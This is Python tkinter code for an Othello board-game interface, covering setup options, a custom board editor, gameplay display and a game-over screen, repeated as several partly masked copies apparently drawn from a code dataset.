self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def 